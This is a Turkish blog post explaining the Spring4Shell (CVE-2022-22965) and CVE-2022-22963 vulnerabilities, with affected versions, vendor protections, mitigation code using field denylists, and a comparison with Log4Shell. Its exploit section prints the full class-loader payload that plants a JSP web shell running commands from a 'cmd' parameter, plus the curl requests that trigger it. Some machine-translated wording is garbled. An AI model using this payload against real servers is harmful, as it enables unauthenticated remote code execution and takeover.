Spring4Shell Zafiyeti Nedir?

BU YAZIMDA SPRING4SHELL ZAFİYETİ HAKKINDA BİLGİ VERMEK İSTEDİM. KEYİFLİ OKUMALAR DİLERİM.

Spring4Shell Zafiyeti Nedir?

SPRING4 SHELL

Sysdig'deki araştırmacılar bu Spring Cloud hatasını "Spring4Shell" olarak adlandırırken, başka bir güvenlik firması Spring Core'da "Spring4Shell" olarak adlandırdı.

Karışıklığı önlemek için, bu gönderi Spring4shell'e yapılan başvuruları tamamen kaldırmak üzere değiştirildi.

Spring Cloud İşlevinde uzaktan kod yürütülmesine (RCE) ve internet'e bağlı bir ana bilgisayarın tüm uzlaşmasına yol açabilecek ilgili bir güvenlik açığı ortaya çıkmıştır.

Bazı araştırmacılar, güvenlik açığından yararlanma kolaylığı ve Java tabanlı yapısı nedeniyle, Aralık ayında keşfedilen Log4Shell güvenlik açığını anımsattığını belirtti.

Son zamanlarda, kurumsal Java uygulamaları oluşturmaya yönelik açık kaynaklı bir çerçeve olan Spring Framework'te iki güvenlik açığı duyuruldu.

29 Mart 2022'de, CVE-2022-22963'te izlenen Spring Cloud Expression Kaynak Erişimi Güvenlik Açığı Spring Cloud Function 3.1.7 ve 3.2.3'ün yayımlanmasıyla yamalandı.

İki gün sonra, 31 Mart 2022'de Spring, CVE-2022-22965'te izlenen daha ciddi bir güvenlik açığını yamalamak için Spring Framework'ün 5.3.18 ve 5.2.20 sürümlerini yayınlandı.

CVE-2022-22965 güvenlik açığı, Birim 42'nin vahşi ortamda istismar edildiğini gözlemlediği bir saldırganın kimliği doğrulanmamış uzaktan kod yürütmesine (RCE) izin veriyor.

Yani bu güvenlik açığından yararlanılması, güvenliği ihlal edilmiş sunucuya daha fazla komut yürütülmesine izin veren bir web kabuğunun yüklenmesine neden olabilir.

Spring Framework, web sistemi geliştirme için yaygın olarak kullanıldığından ve güvenlik açığının ciddiyeti kritik olduğundan (CVSS puanı 9,8), CVE-2022-22965'e infosec topluluğu tarafından SpringShell (ve/veya Spring4Shell) adı verilir.

Palo Alto Networks müşterileri, Cortex XDR Önleme ve Pro, Yeni Nesil Güvenlik Duvarı için Tehdit Önleme aboneliği ve Prisma Bulut Bilgi İşlem gibi ürünler ve hizmetler aracılığıyla CVE-2022-22965 ve CVE-2022-22963'e karşı koruma alır.

Güvenlik Açığı Olarak Bilinen

SpringShell, Spring4Shell

Tartışılan CVE'ler

CVE-2022-22965, CVE-2022-22963, CVE-2010-1622

Güvenlik Açığı Türü

Uzaktan kod yürütme

Etkilenen Yazılımlar ve Sürümler

Aşağıdaki koşullar altında istismar çalışması için mevcut kavram kanıtları (PoC'ler):

JDK 9 veya üstü Servlet kapsayıcısı olarak Apache Tomcat Spring Boot yürütülebilir kavanozunun aksine geleneksel bir WAR olarak paketlenmiştir.

PEKİ SPRING BOOT NEDİR?

Spring boot Java programlama dilinde geliştirilen ve Java dilinde güçlü MicroService yazılmasına olanak tanıyan bir frameworktür. Springboot sayesinde backend uygulama geliştirirken veritabanı işlemlerimizi Java ile Language Integrated olarak yazabiliriz ve Spring boot tarafından bu işlemler gerçekleştirilir.

Yay-webmvc veya yay-webflux bağımlılığı

Spring Framework sürümleri 5.3.0 - 5.3.17, 5.2.0 - 5.2.19 ve daha eski sürümler

Spring Beans paketini ( spring-beans-*.jar ) ve Spring parametreleri bağlamasını kullanan herhangi bir Java uygulaması bu güvenlik açığından etkilenebilir.

Çözüm

SpringShell'e resmi olarak CVE-2022-22965 atandı ve yama 31 Mart 2022'de yayınlandı. Kullanım basit olduğundan ve ilgili tüm teknik ayrıntılar internette viral hale geldiğinden, SpringShell'in tamamen silah haline gelmesi sadece bir zaman meselesi oldu. Ve daha büyük ölçekte istismar edildi. JDK9+ ve Spring Framework'e (veya türevlerine) dayalı projeleri veya ürünleri olan geliştiriciler ve kullanıcılar, mümkün olan en kısa sürede yama yapmaya şiddetle teşvik ediyor ve daha sağlıklı bir sistem kullanmaları açısından yapacaklarını umuyorum.

CVE-2022-22963, Spring Cloud Function'daki (teknik olarak SpringShell'in bir parçası olmayan) farklı bir güvenlik açığı olsa da, çevrede kapsama sağlamak için bir tehdit önleme imzası da mevcuttur. Unit 42 araştırmacıları, yakın zamanda açıklanan diğer Spring güvenlik açıklarıyla ilgili bilgileri proaktif olarak izliyor ve daha fazla bilgi elde edilir edilmez kapsama sağlamaya devam edilecek.

Unit 42, cihazlarımız ve bulut çözümlerimiz aracılığıyla kötü niyetli trafiği aktif olarak izliyor.

Palo Alto Networks Ürün Güvenliği Güvencesi ekibi, Palo Alto Networks ürünleriyle ilgili olarak CVE-2022-22963 ve CVE-2022-22965'i ​​değerlendiriyor ve şu anda buna önem derecesi atıyor.

Tehdit Önleme aboneliğine sahip Palo Alto Networks Yeni Nesil Güvenlik Duvarı, bu güvenlik açığıyla ilgili saldırı trafiğini engelleyebilir.

CVE-2022-22965 Kapsamı:

Tehdit Kimlikleri 92393 ve 92394 (Uygulama ve Tehdit içerik güncellemesi 8548)

CVE-2022-22963 Kapsamı:

Tehdit Kimliği 92389 (Uygulama ve Tehdit içeriği güncellemesi 8548)

Palo Alto Networks Prisma Cloud, tüm Bilgi İşlem ortamlarında hem CVE-2022-22965 hem de CVE-2022-22963'ün varlığını algılayabilir.

Palo Alto Networks Cortex XDR Önleme ve Linux cihazlarında içerik sürümü 450-87751 ile ajan sürümü 7.4 ve üzerini çalıştıran Pro müşterileri, Java Seriyi Kaldırma modülünü kullanarak CVE-2022-22963'ten korunur;

Diğer işletim sistemleri ve açıklardan yararlanmalar, Davranışsal Tehdit Koruması, Parola Hırsızlığını Önleme, Fidye Yazılımına Karşı Koruma ve diğer Sömürü Önleme modüllerini kullanarak suistimal sonrası faaliyetlerden koruma alır. Cortex XDR Pro müşterileri ayrıca, kullanım sonrası faaliyetlere ilişkin görünürlüğe sahiptir. Ayrıca müşteriler, ortamlarındaki istismar girişimlerini algılamak için bırakılan web kabuğu IoC'lerini arayan bir XQL sorgusundan bir BIOC oluşturabilir.

EXPLOIT SENARYOSUNA GENEL BAKIŞ

Bunun gibi birkaç POC'yi analiz ederek ve "gerçek" istismarı test etmemize yardımcı olacak bir uygulama yazarak bu bilgiyi tersine çevrilmiş hali aşağıdadır.

Aşağıdaki kodu göz önünde bulundurun:

public class Greeting {
    private long id;

    public long getId() {
        return id;
    }

    public void setId(long id) {
        this.id = id;
    }
}

@Controller public class HelloController

 {
    @PostMapping("/greeting")
    public String greetingSubmit(@ModelAttribute Greeting greeting, Model model) {
        return "hello";
    }
}

İsteği yürütmek için kullanmamız gerekmektedir:

curl 'http://localhost:8080/greeting?id=test' gidin.

Sorgu parametrelerini, türündeki id=testDüz Eski Java Nesnesine (POJO) ayrıştırmaya çalışır. Bu normal istekle, Spring'ler POJO'nun ad alanını olarak ayarlamak için ayarlayıcıyı kullanır.

Güvenlik açığı, ayarlanabilen diğer değerler nedeniyle mevcuttur.

Sorgu parametreleri kullanılarak ayarlanabilen değerleri araştırdığımızda CLASS erişilebilir olduğunu görüyoruz.

Sorgu parametremizle özelliklerini CLASS gezebilirizve hem yazabileceğimiz hem de programın yürütülmesi için anlamı olan bir alan bulabiliriz:

curl ‘http://localhost:808 0/spring4shell?class.module.classLoader.resources.context.parent.pipeline.first.pattern=test'

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20ja

va.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().,exec(request.getParameter(%22cmd%22)).

getInputStream()%3B%20int%20a%20%3D%201%3B%20byte%5B%5D%20b%20%3D%20new%20byte

%5B2048%5D%3B%20while((a%3Din.

read(b))!%3D1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di

class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

Aşağıdaki Tomcat günlüğe kaydetme özelliklerini ayarlayan sonraki istekler verilebiliriz:

Bu güvenlik açığından yararlanma, CVE-2010-1622'den yararlanma yöntemine benzer.

Son bir istek göndermek, güvenlik açığından yararlanmak için ayarlanmış değerleri kullanabiliriz.

curl http://localhost:8080/shell.jsp?cmd=whoami

Bir dosya yazılacak:

webapps/ROOT/shell.jspve

Yukarıda belirtilen Tomcat model özelliğinden gelen yükü içerecektir.

Bu dosya, sunucu için günlükleri biçimlendirmek için kullanılacaktır ve sorgu parametresi kullanılarak isteğe bağlı bir komut iletilebilir.

Bunun yalnızca bir Apache Tomcat sunucusunda çalışmak üzere test edildiğini unutmamak önemlidir. Bir Tomcat sunucusunda çalıştırılmadan,

yukarıdaki günlük kaydı özellikleri mevcut olmayacaktır. Henüz bilinmeyen başka bir sömürü yöntemine ihtiyaç duyulacaktır.

31 Mart 2022 tarihinden itibaren en yeni yayınlanan 5.3.18 ve 5.2.20 Spring sürümlerinde bir yama mevcuttur.

Tüm kullanıcıların güncellemelerini öneririz ve güncelleme yapamayanlar için aşağıdaki azaltıcı önlemler almaları için bunları yapabilirler:

Spring Core'da bir RCE'nin varlığını doğrulayan Praetorian gönderisine göre, şu anda önerilen yaklaşım DataBinder,

istismar için gerekli olan savunmasız alan modellerinin bir kara listesini ekleyerek yama yapmaktır.

NOT: Spring'i yüklemek , yüklenmesi BinderControllerAdviceiçin manuel adımlar gerektirebilir.

import org.springframework.core.Ordered;
import org.springframework.core.annotation.Order;
import org.springframework.web.bind.WebDataBinder;
import org.springframework.web.bind.annotation.ControllerAdvice;
import org.springframework.web.bind.annotation.InitBinder;

@ControllerAdvice
@Order(10000)
public class BinderControllerAdvice {
    @InitBinder
    public void setAllowedFields(WebDataBinder dataBinder) {
        // Bu kod, Spring Core'u "Uzaktan Kod Yürütme" saldırısından korur ("Spring4Shell" olarak adlandırılır).


        // Bu azaltmayı uygulayarak, "ClassLoader Manipülasyonu" saldırı vektörünün tetiklenmesini önlersiniz

.
        // Daha fazla ayrıntı için bu gönderiye bakın: https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/


        String[ ] denylist = new String[]{"class.*", "Class.*", "*.class.*", "*.Class.*"};
        dataBinder.setDisallowedFields(denylist);
    }
}

 

Alternatif olarak, bir denetleyiciye bir yöntem ekleyerek azaltıcı etkenleri enjekte edebilirsiniz:


import com.pinger.fun.model.EvalBean;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.propertyeditors.StringTrimmerEditor;
import org.springframework.ui.Model;
import org.springframework.web.bind.WebDataBinder;
import org.springframework.web.bind.annotation.InitBinder;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

import javax.servlet.ServletContext;
import javax.servlet.http.HttpServletRequest;

@RestController
public class IndexController {
    @RequestMapping("/index")
    public void index(EvalBean evalBean){
        System.out.println("Hello world!");
    }

// Sömürüyü önlemek için bu yöntemi denetleyicilerinizden birine eklemeniz yeterlidir.
    @InitBinder
    public void initBinder(WebDataBinder binder) {
// Bu kod, Spring Core'u "Uzaktan Kod Yürütme" saldırısından korur ("Spring4Shell" olarak adlandırılır).
// Bu azaltmayı uygulayarak, "Sınıf Yükleyici Manipülasyonu" saldırı vektörünün tetiklenmesini önlersiniz.

// Daha fazla ayrıntı için bu gönderiye bakın: https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/

        String[] blackList = {"class.*","Class.*","*.class.*",".*Class.*"};
        binder.setDisallowedFields(blackList);
    }
}

 

Bu RCE'nin etrafındaki spekülasyon, başlangıçta bunun Spring Core'da yapılan bir değişiklikle ilgili olduğu ve Java serileştirme ve seri durumdan çıkarma kullanan eski bir "istisna klonlama" işlevini kullanımdan kaldırdığıydı. Java'da güvenilmeyen dize değerleriyle seri durumdan çıkarma, bir saldırganın RCE kazanmasına izin verdiği için bu sorunlu olma sebebidir.

Ancak bu durumda, bu işlevin ortaya çıktığı yer nedeniyle hafifletici vektörler vardır. Varsayılan olarak, yalnızca bir istisnanın atılmasını ve ardından ön belleğe alınmasını gerektiren @CacheResult  kod eki:

https://github.com/spring-projects/spring-framework/blob/02d3e00d33a578fb776cc2c65a9c15d9a75b2072/spring-context-support/src/main/java/org/springframework/cache/jcache/interceptor/CacheResultInterceptor.java#L125

Bu güvenlik açığından yararlanılabilir olsa bile Log4shell’in olduğu kadar kolay yararlanılmaz. Bu, başlangıçta varsayılan saldırı vektörü değildi.

BİLGİ

Güncelleme: Orijinal olarak varsayılan " Seriyi Kaldırma Enjeksiyonu" vektörü, silinen orijinal Twitter ekran görüntüleri tarafından kullanılan saldırı vektörü değildi. İnsanlar, sorunun @RequestMapping bir isteği ayrıştırmak için kullanıldığında "Sınıf Yükleyici Manipülasyonu" saldırısına olanak tanıyan bir zayıflıktan kaynaklandığını onayladı.

 

CVE-2022-22963 

Spring Cloud Function kitaplığında ciddi bir RCE güvenlik açığı keşfedildi. Bu, yukarıda tartışılan Spring4Shell'den ayrı bir güvenlik açığıdır.

Bu güvenlik açığı Spring4Shell ile neredeyse aynı anda keşfedildiği ve ilk kez bir CVE yayınlandığı için ikisi arasında çok fazla kafa karışıklığı vardı.

Bu, CVE-2022-22963 tarafından izleniyor ve yalnızca Spring Core'dan ayrı bir Java kitaplığı olan Spring Cloud Function kitaplığını etkiliyor.

Bu güvenlik açığı şu anda 5.7'lik bir CVSS puanına sahip ve Twitter ve GitHub'da bulunan bilinen POC'lere sahiptir.

Analizim :

Bu güvenlik açığı gerçektir. Spring Cloud Function kitaplığını kullanıyorsanız, bu RCE'yi azaltmak için 3.1.7+ veya 3.2.3+ sürümüne yükseltmelisiniz çünkü bu zafiyet hakkında tam anlamıyla bilgi ve çözüm oluşmamıştır.

Mevcut Durum

Bir CVE yayınlanmadan önce hangi bilgilerin "gerçek" olduğunu ve hangi hafifletmelerin gerçekten işe yaradığını anlamaya çalışmak çok zordur. Bu, özellikle Spring geliştiricileri bir sorun olduğunu ilk başta reddettiklerinde doğruydu.

Artık resmi bir CVE ve Bahar yamaları yayınlandığına göre, kullanıcılar için net bir azaltma yolu var.

Bu özellikle kafa karıştırıcı bir durumdu çünkü Spring yay paketlerinde (Spring Core ve Spring Cloud Function) neredeyse aynı anda iki güvenlik açığı yayınlandı. Spring4Shell için resmi bir CVE artık CVE-2022-22965 olarak yayınlandığına göre, ikisini birbirinden ayırmak çok daha net.

Hatırlanması gereken önemli nokta, bu güvenlik açığının bir Log4Shell kadar kötü değildir. Tüm saldırı senaryoları, doğası gereği Log4Shell'den daha karmaşıktır ve daha fazla hafifletici faktöre sahiptir. Seri durumdan çıkarma istismarı (Class Loader Manipulation) saldırıları Java'da çalışır.

Log4Shell ile istismar önemsizdi ve çoğu uygulamada çalışan bir istismar saniyeler içinde yazılabilirdi.

Spring4Shell ile istismar, işleyen bir POC elde etmek için derin Java bilgisi gerektirir. Sınıf Yükleyici Manipülasyonu, Log4Shell güvenlik açığını anlamaktan daha karmaşıktır.

Serileştirme Nedir?

Hesaplamada, serileştirme veya serileştirme, bir veri yapısını veya nesne durumunu, daha sonra saklanabilecek veya iletilebilecek ve yeniden oluşturulabilecek bir formata çevirme işlemidir.

Bazı Bağlamlar​

SERİLEŞTİRME tek başına bir CVE değildir​.

Ve kendi başına, Kod Yürütme çok ilgili değildir. JavaScript hala her Node.js sunucusunda veya tarayıcısında bulunan işleve sahiptir, ancak bir saldırgan kontrol ettiği içerikle dize girdisi beslemenin bir yolunu bulana kadar bir güvenlik açığı olarak kabul edilmez.

Bunu başarmak için, çoğu uygulamada, bir saldırganın, kendilerine yürütme erişimi vermek için uygulamanın kaynak kodunu doğrudan değiştirebilmesi gerekir. Ve bu noktada, artık ihtiyaçları  olmayacak çünkü yine de kendi kodlarını koyabilirler.

Bu yüzden güvenlik uzmanları onlara "Uzaktan Kod Yürütme" (RCE) saldırıları diyor. Yalnızca yetkisiz bir kullanıcı uzaktan kod yürütebildiğinde endişeleniyoruz. Log4Shell'i bu kadar kötü bir RCE güvenlik açığı yapan şey budur, çünkü geliştiriciler her zaman kullanıcı tarafından kontrol edilen değişkenleri (kullanıcı adları gibi) günlüğe kaydeder.

Log4Shell ile Benzerlikleri

Spring4Shell ve Log4Shell arasında adlarının ötesinde pek çok benzerlik var. 

Başlangıçta bu güvenlik açığını "Log4Shell" olarak adlandırıldı, çünkü o sırada CVE-2021-44228 yayımlanmamıştı ve Apache ekibi sorunla ilgili herhangi bir güvenlik uyarısı yayınlamamıştı.

Yanlış bilgi hızlı ve kolay bir şekilde yayıldı. Bir güvenlik açığını gösteren bir ekran görüntüsünü photoshoplamak ve "ayrıntıları yeniden düzenlemek", Spring Core gibi büyük bir kod tabanındaki bir güvenlik açığını araştırmaktan çok daha kolaydır. Ayrıca, azaltmaların etkili olduğuna dair herhangi bir kanıt olmadan insanlara güvenlik açığını nasıl "düzelteceklerini" söylemek de kolaydır. (Bu nedenle log4j'de 2. bir CVE yayınlandı .)

I am studying Forensic Informatics Engineering at Firat University. I am a three-year student who actively enjoys working in communities, is compatible with teamwork, open to learning, participates in trainings and conferences, and takes an active part in community work. I have been interested in cybersecurity for more than 2 years and have been dealing with CTF and similar issues. I am interested in system analysis and log analysis. I am working in the pentest field and also improving myself in the network field.